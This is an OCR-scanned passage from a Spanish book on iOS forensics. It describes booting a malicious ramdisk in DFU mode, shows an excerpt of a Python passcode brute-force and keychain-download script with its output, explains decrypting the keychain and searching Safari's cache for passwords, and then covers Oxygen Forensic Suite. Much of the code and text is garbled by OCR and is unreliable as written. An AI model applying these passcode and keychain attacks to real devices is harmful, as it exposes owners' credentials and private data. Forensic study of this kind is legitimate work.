habilitadas por defecto. Para solucionar esta casuistica, se pucden utilizar las capacidades de
multiplexado USB, las cuales proveen de concetividad TCP sobre USI. Lin este caso se podra dar
uso de conexiones SSH a travis de este canal.

Para cllo, las th’dmlEﬂTaS de Dam}':orecrmn veen de un script llamado

|s11uer]|al:k:\.rc1nl].bat
F:l.luer]w.:k e S Python27%python.exe Leprelay.py —t 22:2222 S90A:R9AR 1999:1999 1234:1234
Torwarding local port 2222 Lu rwnute port 22

Torvarding local part 5988 Lu senote port 5908
Toruwarding local port 1YYY Lu renote part 1999
Torwarding local purl 1234 Lu renote port 1234

i
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Passcode

Bl arrancar ¢l dispositivo en modo DI'U, posibilila que se puedan explotar vulnerabilidades en el
propio dispositivo, como por gjemplo aquellas que permitan saltar la comprobacién de firma dc
scguridad de ficheros. Lista posibilidad permite que se puedan cargar imagenes de arranque con Jas
herramicnlas necesarias para poder realizar los alagues con éxito, saltando asi la verificacion de
firmas.

Una vez generada la imagen dc arranque maliciosa e inyecrada en memoria, esta posibilita que se
pugdan realizar otros ataques, como por cjemplo la fuerza bruta de credencialcs. El alaque basado en
la prediccion de credenciales basada en fuerza bruta ¢s posible debido a dos factores:

La proteccion por soflware, que elimina el contenido del dispositivo una vez sobrepasado
el umbral de diez credenciales crréneas, y que no funciona a bajo nivel.

- La fucrea bruta, que se realiza utilizando ¢l procesador del propio dispositivo.

Para ello, las herramicnlas de DataProtection permiten que se realicen ataques basados en fucrza
bruta basada en PIN o en credenciales mas robustas.

if 2= H
print "Wrong passcode, trying ta bruteforce !7
if checkPasscodeComplexity(client) == 0:
print "Teying all 4-digits passcodes...”
bf -—r:'l'ient. ruteforceKeyRag(systembag{"Keylagkeys™] . data)
1 1
di.update(ht)
keybags [kbuuid]. update(bf)
print bT
print kb. unlockWithPasscodeKey (bt . yek ("passcodakey™) . decode("hex")}
kb.prin WClassKeys (O
di["classKeys"] = kb.getClearClassKeysDict()
di.sava()
else:
print "Complex passcode used, trying dicticnary attack ..."
dictfile — os.path. joein{curdir, “wordlist.dicl')
try:
wordlist = apen(dictfile, 'r').readlines()
except (0SCrrar, TdError), e:
exitie)
for line in wordlist:
res = c1'irfn'}'.getPasscndeKey(sys‘tEMbﬂgr"KE‘g’BaQKE'y'S"].datﬁ. ltne.rstrip('\n'))
3£ kb.unlockwithPasscadeKey(res.get (“passcodetey™) . decode{ "hex")):
print "Passcode \“%s\" OK" % line.rstrip('\n’)
di.update(res)
keybags [kbuuid]. update{ras)
di.save)
keychain_blob = client.down loadFile{™/mmt2/keychains /keychain 2.dh")
write_file("keychain-2.db", keychain_blob)
prirn: "Bownlpaded keychain databace, use kevchain tool.py to decrypt secrets”
recurn
print "FPasscode not found!”™
return

Tmapen 05.16: Extracto de seryt de fuerza hruta de passcode.

No hay que olvidar, que el éxito dc cste tipo de ataques se basa en la [ortaleza de la credencial que
tenga implementada el dispositivo. En el caso de una credencial basada en PIN (4 digitos), este
ataque se realiza con ¢xito en un plazo maximo de unos 20 minutos. Para otro tipo de credenciales,
¢l éxito dependeré del tipo de diccionario y de las iteraciones a la hora de probar credenciales. A
continuacion se muestra una tabla que estima el tiempo necesario en funcion del passcode:
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Complejidad de la contrasefia | Tiempo cstimado
4 digitos 20 minutos

4 caracteres allanuméricos 51 horas

5 caracteres alfanuméricos 8 ailos

13.000 afios
s s o bt

En la siguiente captura de pantalla, se puede observar un alaque exitoso de filerza bruta de contrasefia
utilizando esta técnica:

;ilverhackro:~Python2 ™ puthon.exe demu_brulvFurcel .py

ey ive UDID : af R27h9F477aad5 4 2614558 Bh16 38 3dYdads

Heyhagy: B1GH check OX

Heyhay UUILD : Bde%bacflealdhrn9f5dA97e Ml 3011

Eaving CostnpsPLHBrutePorccRedfnfusGeripts dataprotec tion“pylhun_gcripts\d8af527
h3f 477 aad54e 261455 88h10 38 30904ad8  3Ra3Aa 1 1AFI74ERD. plist
pasacadckeyhoardConplexity © ' rangeMininum®: A. ‘value’: B, "rangeMaximum': 23
rying all 4-digits passcode

mtefor::eSy@tnmlhz?Ra? : B:@ bL2ZUuY i
‘pazsuude’ s 12347, §asscodele_l) +339344 33795 9580L833b29a9h1 B175 23 4AR2 A a7
2b52h65UEbYuUY1aa2dB”

rue

Heybay type * System kwybag (B>

cyhag version * 2

lans WEAP Type Key
FeLF?h4715c1F 6359 2cebaBR9F9AMRcA8535a7d2002 341429 4aalil

A3fladl ¥Bee ID24L dVI Ve baPUFEDPaf PSBH1ATI A1 A9 PS5 c4odBe 2 Tad)
Ah7n V4 202dc63abTacl 2 Jale GITO6 462 4F 7296271 8cc 182077 AEEG
a3uB¥B71216c422e ledbAA3Ach?5125: 70daScabq6 Yo bucBu Y8 4aal
hlef£51Ff4al 31ucdbol1fc39E7dF 2403949970209 M e ddS6Beachl

2hde3fd5255a008121553e23b6celudf de?25755 10k Rnt RdRad427dabh
b4cdB41e53An7Ra3992%he ?30420d2e PaBe344850adBa5346hl 24RA
?16db a ac4FB36BAc Fhh2aR19Alede f 4740 £ 9F 1524F 3FYLY 22 hE245
b1BdBd8F2es Vi frudubuSolf Pabaf 199A9Ac3MaI5ec S P2IE926 1111
e582ef4c i 705chleec 768 VA4 UaFB7c2R13 M ahedac I FAR4TeCE T
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a%6dc4?
e3ddPefl
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2LI567R2

-
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:
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Bauing CistupnPIMBruteForecRedB&nfuSerintssdataprotes Lion“python_scripes~dfaf527
b3 477 and5422614558UL16383d981a48 /3623621 1dF 1740 6h  plist
Downloaded keychain database, wse knyehain_tool.py to decrypt swerets

cilverhank?>

Imagen (05.17: Atuque basado en tuorza bruta de contrasefia,

Una vez que sc pueda invectar en el dispositivo una imagen de arranque maliciosa. la venlana
de exposicién aumenta de forma ¢xponencial, en cuanto al nimero de atagues que posibilita esta
técnica.

KeyChain
Con los datos anteriores se hace posible por ejemplo, atacar directamente a la basc de datos keyChain,
la cual es descargada automiticamente con el ataque anterior. Si ¢l ataque a la base de datos keyChain
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es exitoso, se podrén obtencr las credenciales de las principales aplicaciones y servicios que se
gestionan desde el dispositivo. bistas credenciales atenderan por ejemplo al correo electrdnico, la
claves de acceso o una Wi-Fi, etcétera. Para realizar con &xito este ataque, las herramientas de
DataProtection, incorporan un scripl llamado '?é{gi(;‘h{zfn-—'roai.@l funcionamicnto de este script s
hastante sencillo, solicitando solo el lugar cn donde estd la base de datos keyChain, y ¢l fichero
PLIST que conlendra las claves necesarias para poder descifrar ¢l contenido de la base de datos.

:‘Eﬂgrx EyDags<, Key>-
~d1cT
<keysAdef Sact JeaB4be 81 5d0Y/ edel 301 k< kay-

<dict>
<key-KeyBagreys<,key>
<flaTas
REFUGOAABERWRY I TAAAARAAAABTUWYDF BAAARAAAASRVVL T CARAA
Etsg‘usm EvMnLuaf pohw bk mNLWAn_wLwinusjmmc\fEm
SGVSROUM I ADMPUIVE NI Vs SeC TAJCWUPVUKFQAA AABAAAR AFT

QUXLAAAAFFVE J LudSLZwUDWF qwiQhet 1 q1 GESYRFUGAAA AL JAAMNG
VY IRAAAAE DUGKHWAL NHL KRFCHINS AT QOXBLW) Vv13E

AAAATVE W ASACCNSXLUGTENT IEIAEE+55+DORT /3YOX
FPZ L SAEXD2RIVVSUDAMMAGSYZNDZR TS T 11/ UTTUSZBRNMOVMA
ABAEAAANC 1 HSOVAAAAAEAAASAT cO sl kaaaAn G T /v 1 Oybaxr xHd
BRSEMVDNGXyYGECPPPSSE 11 MOwde Xl zal DI WEUDAAANG / k3d
Fvy 2w Xl XS] 0720 UNOVMAAAN EASARCYISOVAARAAE AAAA AL
S1kAAAAUL+RELFWT LYGLED+ZXGPOTYaFKK7 0c T drwand pratikhex
gop+vha | GVvvSUOAARAGZ AASGORT IO NNLUGNT KOO CAMOVMASAAE
AARACE dSVAAARAL AMAAVEOST KAAAAGOANMDPY3 2 dgsQSMOREJa
Trwakn334kRypzo | 3anwkpvvU ] EAAAAEANKTXEZ(kgV | lokupow
#BpDTEF TAAAASAASAACKUKFOAAAARARARANALLTZARAARDT Lhe Tw
dLbgoi] esITV 20r 21 T encyt IwIZuovwSubi/ IPLEL | /sOWSvWUTE
anraw(VZ NSHYOT Svin2 35€TELUDDTE FTAAAABAAAAATXUIKF
BAAAAANKUETZAAAAKEL AL EHFK P4 RY YIS EWT EUNERYT 1 riyyLauSur
TehpaAVEL Sbyar 1k I1CE1vwL TEAASAEKA AyLOUNERpeL Luc IPEAD
TEFTAARARARABAVXUKMIAAAABAMMAANXUETZAAAAKNY T rWEBNVI K
XRACOs shhyxT Hs g0 VT KDUXVYmyBoZmGT AT SFPr o TE asss
E1qv Im0gvDlqpgViynCtacI DTEF | AARARAAARANNUIKFOAAAABANA
AANXLETZ AaaAk TWITULCWD I MHz10kPanaI2wmiAl LskmksTWNeUg
G7L PRV POX LVVL 1 EAAAAECA2VE IR/ DSCT YME qELVL BpDTEE 1
AAMABRAAAAA TXULFOAAAAB AAAAANNUETS ARAMKL (] TELCAWHDZMLH
116jx/0CdokTOTZ Iz Tyl 283k zpsrant 1 yo CInvvU T CAARAEGRE
ZPITRESBrFhiC? hrmFun L] | ASAREAAAANF UK FOAANABASAAANE
LETZ Andak S SWO KB TA/ Chbici LkOL KEyxs sy RSEasLOQqEZCSREX
GO jLA0rPSs BVTSLADAARARMET / Tk /Y rISVS 00005 | 6L DB
</data>
<keyepassoode o/key>
sring>1l23i</siring=
=key-passcodekey< /ey
oo <5TPing>31934 1337707 058L03302020b1847 53de40820cati s, b5 2bE508RAC0Y 1 aa2dE ¢/sTr ing>
C4 (w3

Imagen 05.18: Extracto de fichera PLIST con claves para descifrar 1 base de datos ey Chain. |

Estc scripl viene implementado para extraer clemenlos tan interesantes como las contrasefias
utilizadas en aplicaciones de Internet, o extraer unicamente el almacén de certificados.

I Fhonesdescifradu soripls Povthon keychain_tonl.py -4 . .~kepchain—2.db .S 3badballdf3?4loh.plist
ryhag: SIGM check OK
evbay unlovked with passcode key
feychain version =

Fasswords

push.apple.com

<binary data¥ : a9c69chB1B4Valhte PSR 6ARAGSESc3ehdrSniSefEie366Bdf Ihot FOULYEZAE
com.apple_apad

Bereive

FnhancedVoicenail
d:346H62HLET sV :UME32 DCERL92:umb: EHNPAACME: 2517
vuversl

Airlort
ServicioTeenico 2811
<UT-£1»0H0_Stecnice.2B1i< /UI-Ti>

Tmagen 05.19: Visualizacion por puntalla de elementos en la base de datos feyChain.
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En el caso de que se deseen visualizar por pantalla los elementos principales que se encuentran cn
la base de datos, el script vienc preparado con un parametro especifico para csta tarea unitaria. tal y
como se puede ver en la anterior imagen.

Caché en Safari

Otro vector de ataque sc puede encontrar en la gestion que realiza la aplicacién Safmi de los
datos y peticiones que realiza la aplicacion cuando sc navega a través de esta. Debido a que estas
aplicaciones necesitan optimizar al maximo el rendimiento para mejorar la experiencia del usuario,
en algunas ocasiones esta optimizacion perjudica aspectos como la seguridad de la informacidn.
El mayor ejemplo se encuentra en la gestion de datos que realiza la aplicacion Safari de muchos
de los datos solicitados a lravés de ella. Para optimizar las peticiones asi como los datos enviados
'y recibidos, Safari gestiona una base de datos de caché en donde almacena informacién sobre la
avegacion de un usuario. Esta base de datos por defecto se encuentra en la siguiente ruta:

La estructura de la base de datos comprende campos con nombres tan interesantes como cache
response v cache_receiver_data. La estructura completa es la siguiente:

CREATE TABLE cfirl_cache_schema_version{schema_versio...

THLCATE TARLE churl cache_response{entry D INTEGER FR....
INTEGER. PRIMARY KEY
INTEGER
INTEGER.
INTEGER.
TEXT

CREATE TABLE aclie_secuence(rame anq)

CREATE TABLE cfirl_cache_blob_datalentry ID INTEGERE.,.
INTEGER PRIMARY KEY

BLOB

o8

[ETs0]

FLOB

CRFATE TAJLE cfix]_tache_recsiver_datajenlry ID INTEGE...

INTEGER PRIMARY KEY

BLDB

(CREATE INDEX request_key_ndex ON cfirl_t=dhe_respons...
CREATE INDEX time_stamp_index ON ofirl_cache_response...
CREATE INCEX wroto_props_index ON cfirl_cache_bloh_dat..
CATATE INCEX recever_dala_irden ON cfirl_cache_recelv..,

lmagen 05 20 J:strucmrﬂ basc de datos Cache.db.
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Navegando por la estructura ¢fir!_cache_receiver_data, se pueden encontrar desde hojas de estilo
(S8, hasta scripts de verificacidn de usuario y confraseria.
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Imagen 05.21: Usuarios encontrados en base de dalos de cache de Safar.

']

:l Buscar con las palabras password o pwd sobre esta base de datos, puede arrojar resultados
intercsantces a un atacante, debido principalmente, porque i a través de la aplicacién Safar se han
realizado peticiones de aulenticacion, es altamente probable que la aplicacion haya almacenado
tanto las peticiones, como las respuestas cn esta base de datos. %%
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Capitulo V1
Analisis forense de datos de un terminal
iOS con Oxygen Forensic Suite

1.Introduccion

Tanto si se ha accedido a un backup de un terminal iPhone en el equipo donde estd pareado el
dispositivo, como si se ha accedido al backup en Apple iCloud, o al propio terminal, es necesario
analizar los datos. Como se ha visto en el capitulo de Caprura y Andlisis de un backup i0)S, es posible
extraer datos muy jugesos analizando las bases de datos SQLire, los ficheros de configuracion en
formato XML, Plist o Bplist, e incluso las Binary Cookies.

Sin embargo, el volumen de datos es tan grande que un usuario puede eslar varias scmanas
analizando los datos con seripts 0 manualmente. Es por ello que en ¢l mercado existen herramientas
profesionales que son capaces de analizar los gigabytes de datos que tiene un Smartphone para
presentarlos de forma rapida y eficiente. Si el tiempo y la reduccion de costes en procesos de andlisis
forenses son cruciales, el gasto de una licencia profesional ¢s mas que recomendable. En esta seccién
S¢ va a presenlar una de estas herramientas, que ademas cuenta con soporte en idioma castellano.

Analisis de datos de un dispositivo iOS con Oxygen Forensic Suite

Oxygen Forensie Suite cs una herramienta comercial para el anélisis forense en telefonia mévil.
Aunque es compatible con la mayoria de los teléfonos del mercado, esta solucion se especializa ¢n
la extraccion y andlisis de datos en smariphones, apoyandose ¢n un interfaz intuitivo que muestra
toda la informacion del dispositivo en comodas pestaiias, junto a la opcion de generar intormes
completos en diversos formatos.

El hecho de simplificar numerosos procedimientos téenicos en tan solo unos clics hace que esta sea
una atractiva opeion a tener en cuenta para los usuarios que necesitan un uso intensivo a la hora de
analizar numerosos dispositivos.

La siguiente captura muestra la informacion que Oxvgen Forensic por defecto cs capaz de extraer
de un teléfono.
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Informacion basica delteléfono movil v
dates dela tarjeta SIM.

Laksta de contactos (nchidos log
. pimeros de fax, méviles, lineas fijas,

otra mformacién de contacto).

Llamadas Perdidas/Recibidas.

Datos de la tarjeta SIM.

« Informacion dellamadasentrantes.

Orzamzador (reuniones, citas del
calendano, notas recordatonos de
Hamada amiversanosy cummpleatios,
| tarsasareakizar).

Notas de Texto.

Menzsajes SMS {mensajes, registro,
carpetas, mensajesborrades conalgimas

- Caché delos navegadores Web y
~ favontos.

direcciones postales, fotos de contactosy || #sss

i} Mensajes multimedia con archivos
| adjuntos.

Mensajes de E-mail con archives
| adjumtos.

(PRS. EDGE, CSD, HSCSD v trifico
Wi-F comoremstro demice de
Seslones.

Fotografiaseimagenes de Ia paleria.

-—. 4 Videcs.

“W% Lacnotasde vozy clips de audio.

Todoslos archivos de la memona del
teléfono, asi como de la tarjeta de

| memeona flash mchryendo las

| aplicacionesmstaladasy sus datos.

Base de datos de Radio FM Estaciones
{como pazte de Exploradorde archivos).

Actividad de Lifebiog: todosloz eventos
o prncipales con las coordenadas
| pzograficas.

En 2002, Oxveen Software inventé la aplicacion avanzada “Agente” que permite a la Suite de Oxygen
extraer mucha més informacién de los teléfonos inteligentes que otras herramientas logieas. En el
caso de /08 cabe destacar que Oxygen Forensic Suite permite extraer y analizar datos almaccnados
¢n los archivos de copia de seguridad hechas por i Tures o iCloud.
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El proceso de captura de datos de un iPhone

Oxygen Forensic Suite se alimenta de varios factores a la hora de conectar y extraer la informacion
de un terminal mévil, dependiendo del sistema operativo del teléfono mavil sobre ¢l cual se quicra
realizar el andlisis forense se utilizara uno u otro méroda. Ln la siguiente tabla se muestran los
métodos que utiliza la herramienta para la extraccion de estos datos,

+" | Sistema Operativo Modo de Extraccion Requisitos

Android Utiliza Agente Qxy-Agent Memoria Externa >1MB
| Blackberry (RIM) Utiliza Blaclkberry Deskitop
il’hone i08 (Apple) Utiliza {Turnes
Nokia Symbian Utiliza A_gente_()xy—A gent Memoria Lxterna>IMB " "

‘labla 06.01: Métodos de extraccién de dates por sistema operativo.

Para la correcta utilizacion de Qxigen Forensic se recomienda la utilizacion de cables USB y didvers
originales proparcionados por el fabricante

Ds fundamental para cualquier hetrramienta forense conservar la estructura de ficheros intacta para
no alterar posibles pruebas en una investigacion, por lo tanto Oxygen Forensic permile anles de
realizar la extraceion definir qué modo de Ha,:.hmﬂ se va uullz r, afiadiendo a la vez un método
de extraccién utilizando los agentes Oxy-4. - instalaran en é’memeng xierna dedlcaéa’
evilando asi cualquicr manipulacion involuntaria. Una ver termmada la extraccion el agente se
desinstalard automaticamente vy la informacion extraida se presentarid en modo “Read-Only” para
realizar la investigacion.

En la siguiente captura se muestra el inicio de la creacion de un nuevo caso en ¢l Oxygen Forensic,
donde antes de comenzar con la extraccidn se solicita rellenar esta ficha eligiendo el tipo de fash
que interesa utilizar.

Patmick Fayge

Dsvicm notes
| Device found at the sirport
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A conlinuacion se detallan los pasos a seguir para ejecutar un analisis forense en un iPhone, en esle
caso de la gama iPhone 4.

Antes de comenzar la extraceidn hay que asegurarse de que se cumplen los siguientes requisitos:

- Se dispone del cable original USB suministrado con el dispositivo.
- Se Hene instalada 1a version de Oxyeen Forensic Suife en el equipo.

Lin el caso de una extraccidn de un teléfono (0S. Oxygen Forensic se apoyara en las librerias de
iTunes para obtener los datos del iPhone, para lo que es necesario haber parcado antes el terminal.
Fsto quicre decir, que se necesita contar con un terminal sin passcode o conocer el passcode del
mismo para poder desbloquearlo.

Si no se dan las circunstancias, tal vez lo mds facil sea conseguir ¢l sistema operativo en el que fue
parcado el terminal iPhone e instalar alli Oxygen [‘orensic Suite, con lo que ya no habra que conocer
previamente el passcode.

Una vez que esté el teléfono conectado, Qxygen Forensic medianle un asistente comenzara a pedir
al usuario que seleccione las secciones que desee analizar, pasando a continuacion a extraer todos
los datos del sislema aulomaticamente.

Para otros sistemas operativos Oxygen Forensic uliliza un agente llamado Oxy-Agent que se instala
cn una memoria exlerna del dispositivo dejando intacta la estructura de ficheros, de esta manera la
herramienta es capaz de extraer numerosos datos de sistemas como Android, Windows Mobile o
Nokia (Symbian).

Como se puede observar en la siguiente captura, Oxygen I'orensic Suite comienza con la extraceion
de forma totalmenle automatica y ¢l tiempo destinado para terminar este proceso dependeré del
tamafio de la memoria del Smartphone que se esté analizando.
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na vez terminadao ¢l proceso, es posible desconectar el teléfono v empezar a utilizar la herramienta
Oxygen Forensic Suite tanto a modo de consulta, como para la generacion de informes forenses.
A continuacion se detallan las secciones més importantes que permite la consulta de datos que se
uestran en pantalla.

.Informacion en los dispositivos

e es el punto de partida, se puede decir que es el indice desde donde se tiene una primera
visualizacion de la informacién mds vital v basica coma el niimero de serie del teléfono (IMET),
Ia versi6n del sistema operativo, si ¢l Smartphone esti en modo Jailbreak, y una breve lista que
muestra un resumen de las actividades del teléfono, como pueden ser el nimero de contactos, los
ajes recibidos/enviados, etcétera.

=

Imagen 06.04: Resumen de los datos extraidos de un dispositive.

La linea temporal de un dispositivo

Uno de los puntos més criticos a la hora de realizar un andlisis forense es recrear un evento scgin
fecha, hora, y detallar un esquema de diversos sucesos que ocurren en los intervalos cspecificados
de la investigacion.

En numcrosas ocasiones se pide al analista determinar si este usuario ha realizado una llamada
iclefonica a un niumero de teléfono determinado o si se ha conectado a una pagina web especifica,
por poner dos gjemplos de los multiples que se pueden dar.
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Oxvgen Forensic Suite tiene la herramienta mas potente de todo el paquete de software en el Time-
Line. Esta caracteristica de la herramienta saca todos los eventos temporales de todas las aplicaciones,
que van desde que se enciende el movil, hasta cualguier otro suceso como si se recibe una llamada,
se envia un correo clectranico, se publica un Twir, se conecta a una red Wi-Fi, se produce una
Illamada perdida por Skype, o se hace una fotografia.

Todo lo que se haga con el terminal queda registrado en las aplicaciones del sistema v por tanto en
bases de datos, ficheros de configuracion o servicios online, y Oxygen Forensic Suite los analiza
todos y los muestra en una tnica linea temporal con un conjunto de filtros que permiten que el
analisis se haga a golpe de clic,
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Imagen 06.05: Ejemplo de parte de un Time-Line de un disposilivo,

Esto ahorra un tiempo importantisimo al investigador forense. Hay que aclarar que a veces las fechas
que se pueden ver muchas veces pueden resultar impactantes si se muestran en el filtro de fechas un
afio como 1980, esto se debe a que el programa registra eventos como pueden ser cumpleafios donde
el usuario haya configurado el afio del nacimiento de uno de sus contactos.
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Aunque el Zime-Line es la herramienta mas poderosa, desde ella se pueden acceder a todo ¢l resto
de secciones que hacen que un andlisis de un i2hone o un iPad que ocupa 1GR de datos sea mucho
mis sencillo. A continuacién se muestran las mas importantes.

Analisis de contactos

Quizés este apartado sea uno de los que, desde el punto de vista de una investigacion, pueda tenerse
en cuenta dada su utilidad al proporcionar informacion sobre la relacién que exista entre los contactos
que tenga el duefio del teléfono. En un terminal 725, como ya se ha mencionado anteriormente, estos

datos son ficheros de lipo SQLite que pueden ser analizados manualmente con cualquier visor de
SOLiie.

Dado el avance tecnoldgico ya no solo se guarda un nombre y un teléfono, sino que muchas veces
se afiaden notas personales del contacto, fechas significativas como cumpleanios, paginas web, sus
redes sociales, incluso sus fotos, sin olvidar la cxiraccién de informacion si el usuario tiene un
contacto agregado en la marcacion rapida/favorita. Todos estos detalles son muy interesantes y no se
debe de olvidar que gran parte de las investigaciones comienzan con csic apartado.
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Imagen 06.06: Informacion extraida de un conlacto en conereto.

La gran potencia de Oxvgen Forensic es que es capaz de reconocer la agenda de contactos en todas
las aplicaciones ¢ indicar todas las interacciones que ha hahido con ellos, mostrando por cada
contacto si ha habido una llamadu realizada, perdida, si se ha enviado un SMS, un Whatsapp, una
peticion de videoconfercneia por Shype o todos los correos electrénicos intercambiados,

Esta informacion so puede filtrar ademés por cada tipo de comunicacion y se pueden reconocer
diferentes cuentas sociales cono una mismsa persona, lo que permite obtenar una mejor visualizacion
de los datos.
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Imagen 06.07: Informacion de un contacto en las diversas aplicaciones de un dispositivo.

Ademas, el analisis de estos datos permiite saber el grado de cercanfa que un determinado usuario
manlicne con sus contactos, y Qxvgen Forensic mucstra este grado mediante un gréfico circular de
relaciones. donde los mds cercanos al niicleo (el duefio del terminal) son los que mas relacion tienen
con €l

Este grafico se llama “Lstadisticas de Comunicacion™ y permite saber muchas cosas dcl ducfio por
las comunicaciones que mantiene con toda su agenda de conlaclos.

| Seanchcontas

Imagen 06.08: Grifico “Estadisticas de Comunicacion” que permite ver la relacion de un contucio.
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Geolocalizacion de datos extraidos

Un Smariphone es un dispositivo netamente mévil que va guardando informacién de los lugares por
los que ha pasado. En una investigacion judicial es probable que el juez, si asi lo considera, acabe
pidiendo informacién a las operadoras para conocer a qué estaciones de telefonia se conectd, lo que
permitiria hacer un estudio de la posicion fisica del terminal mediante triangulacién de sefiales. sy

Esto puede no ser necesario si se analiza toda la informacién GPS que almacena un terminal {0S.
Ta primera de ella es la base de datos de las torres de comunicaciones que se almacena en 1a hase
de datos db@lo que viene a ser la misma informacion a la que se tendria acceso con
una orden ju i que decir que esto no es del todo cierto, va que debido a un gran escandalo
medidtico, Apple ha reducido sustancialmente el volumen de informacion que sc graba en este
fichero.

Otra informacion interesante de geoposicionamiento son las aplicaciones sociales como FourSguare,
que guardan las coordenadas GPS cuando ¢l usuario hizo un “check-in”, que asi se llama ¢l proceso
en la app.

lmagcn 06.09: ('):.ygen Forensic Sutie analiza en detalle FourSguare.

Se puede encontrar tambicn informacién GPS en los metadatos de fotografias tomadas por el
terminal o-publicadas en sitios como Twitter o Flickr. Estos datos son analizados por aplicaciones
como iy por supuesto Oxygen Forensic Suite analiza estos datos.

Por ltimo, en el caso de 1025, también se tnenen en cuenta las redes 777 F ia las que un terminal se ha
conectado a lo largo de SI.I vida, Egte 1das en datos '

Con todos estos datos extraidos y analizados, Oxygen I'orensic Suite crea un Time-ine de posiciones
GPS que son mostrados en un mapa, permitiendo que se sepa con un alto grado de certidumbre los
sitios por los que ha pasado el terminal.
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Imagen (6.10; Ubicaciones GPS recanocidas de un terminal i05.

Mensajes de comunicacion

Aunque la mensajeria instantanea como Skype, y Whalsapp estan triunfando entre los usuarios de
smartphones no se dehe olvidar que el nimero de canales de comunicacion de un dispositivo 105
es infinitamente mayor, v que puede it desde los SMS/MMS hasta las aplicaciones de chat como
Messenger pasando por supuesto por los correos clectronicos.

Un an4lisis de un terminal i0S en busca de las comunicaciones implicaria analizar todas las bases
de datos, y todos los ficheros de comunicacion de todas las aplicaciones con cslas caracteristicas
encontradas en un terminal. Oxygen Forensic Suile hace el andlisis de todas esas aplicaciones
de forma automdtica, v muestra por cada usuario qué mensaje ha sido enviado o recibida y qué
aplicaciones ha utilizado para ello, Lal y como se puede veren la siguicnte captura.

r ham-m:munqrwpmsﬁq b Gy Mensaies

Lo T 1 Mewcan o

M5 - I +1 Erri] 25/1042011 143804 Facebock Mobsie confirmation | +

B4 Chedmy new gaun, Costr

TN ATIEDEE0 24/08/2011 16112117 Greal. % Thbe Sve o 115 7
— = v

IR ss
s 2 s 3225 25223 2511230 193602 Facebook Moblke corfmatian |
24+ = 55 w323 +3223 25/ 1308 Fcehonk Mebde confimsatan |
B+ 9 s Shrherd, Lawre B9s2473 174 04/10/2011 180315
@A & . THHS 1141356

s

M5

5845 - Cutio

Imagen 06,11 :Caracteristicas de cada mensaje enviado y recibido.
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En el caso de aplicaciones de mensajeria concreta, en la que puede que existan contactos que no
esién en la agenda, Oxygen Forensic hace un analisis detallado de las mismas, leniendo en la lista
de apps completamente analizadas un niimero ingente de ellas, como Whatsapp, Facebook for iOS,
Twitter, Google Talk, Yahoo Messenger, Skype, Gmail, etcélera. '

Para ver qué aplicaciones con estas capacidades cstan instaladas en el terminal en conerelo, Oxygen
Forensic Suite tiene un panel especial para ellos, desde los que se puede acceder a todos v cada uno
de los datos de la aplicacién. En la siguiente captura se puede ver el caso de Whatsapp.

licacidn (19) [IE

Tme stamp (UTC) ~
27[12/2011 13:14:13
26/12/2011 7:46:50
26/12/2011 7:46:30
26/12/2011 T:43:496
26/12/2011 7:43:31
28/12/2011 hr42:38
28/12/2011 T42:38

Aex Johres 386394251102 2a70 144695556085 72e. .caf w12/011 73711
Mex Jotmes  Chrisimas 26/12/2011 7:36:30

2 A] AXXXRREY |

Imagen 06.12: Andlisis de HWheasapp.

ll-]ay que indicar que, aunque Oxygen Forensic Suite busca datos borrados en las aplicaciones, en
el caso de servicios especializados como RecoverMessages.com es posible obtener més datos de
aplicaciones como Whatsapp, ya que se hace una interpretacion mas exhaustiva de las péginas
borradas de los ficheros SOLite. '/

Registro de eventos

En el registro de eventos se puede obtener el wiltimo historial de llamadas realizadas, respondidas,
perdidas o enviadas, esta informacion también incluye el “Timestamp” mencionado anteriormente.
El propésito de esla informacién puede ser vital para determinar un ltimo uso del terminal y las
llamadas recientes que se han enviado/recibido cn él. La siguiente captura muestra esta seccion:
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Imagen 06.13; Registro de cventos de llamadas.
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El calendario

Fl calendario es un excelente apartado donde es posible conocer los eventos importantes que el
usnario ha marcado cn su terminal, tal vez reuniones marcadas en determinados sitios, repeticiones
de tareas con una alarma, o cualquier informacion que suele ser de elevada importancia y que ¢l
usuario del teléfono haya determinado. Todos estos datos. por supueste, también aparecen incluidos
dentro del Time-Line gencrado del terminal.

Web browser & cache analyzer (Navegador web / analizador caché)

Estudiar ¢l historial del navegador y sus caokies proporciona una informacion extremadamente 0til.
En este caso particular y sicndo un dispositivo 108 es capaz de extraer informacion del navegador
Safuri. Dependiendo del servicio de configuracion del dispositivo, Oxygen {forensic Stite ¢s capaz
de extracr incluso contrasefias que se han marcado en el navegador para recordar diversos servicios
y sitios web, que Ia herramienta ird calalogando en la seccion de passwords del proyecto de analisis.

Ademas es posible consultar el historial de navegacion, las paginas marcadas como favoritas,
accuder a las cookies guardadas en el navegador para poder extraer datos incluso de sesiones activas,
¢ informacion caplurada en numerosos formularios que hayan sido cacheados por el navegador.

Google Services

Los servicios de Google son interesantes, sobre todo por la transparencia y ¢l hecho de que incluyen
un conjunto de servicios con la misma eredencial, por ello Oxygen Forensic Suite es capaz de extraer
informacién detallada de Google Mail, Google Calendur, Google Talk, Google Maps y Goagle+.
Permite extracr varios usuarios en el mismo terminal (va que muchas veces los usuarios dividen
estas cuentas segin uso profesional y doméstico) de todas y cada una de las apps de Guogle que
estan ¢n el terminal.
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Linagen 06.14: Informacién de Gmail cxtraida de un dispositiva mévil con analisis forense.
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Cabe destacar que Oxygen Forensic Suite muestra la lista de ficheros que la herramienta ha extraido
sobre la informacion de Googie Mail, como puede ser Gmail.db entre otros. Esto permite localizar
ficilmente los ficheros que posteriormente se pueden contrastar con otras herramientas de tipo
data carving que complementa el arsenal como analista forense (un ejemplo podria ser el caso de
RecoverMessages para Whatsapp).

El uso de mensajeria IM y en este caso Google Talk permite extraer conversaciones y contactos
gue ¢l usuario haya mantenido en su dispositivo. La importancia del servicio Gaogle Maps en
una investigacion es alta, va que, para completar la informacién de geoposicionamienteo, hay que
tener en cuenta estos datos. Muchas personas utilizan este servicio buscando una calle o un sitio
determinado. Poder extraer csta informacion y las coordenadas exactas. pueden mostrar un resultado
muy importante ante un anélisis forense.
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Imagen 06.15: [.ocalizacion de un punto en Guagle Maps.

Yahoo! Services

unque no tan popular como Google, €l funcionamiento de captura y extraccion de informacion
elativa a servicios de Yahoo! es practicamente idéntica. Oxygen Forensic Suite es capaz de obtener
ormacién de multiples usuarios, tanto de Yahoo! Messenger como de Yahoo! Mail y analizar toda
informacion que de estas aplicaciones hay en el sistema.

plicaciones de redes sociales

actividad en las redes sociales cada vez es mas importante ante un andlisis forense, en este caso se
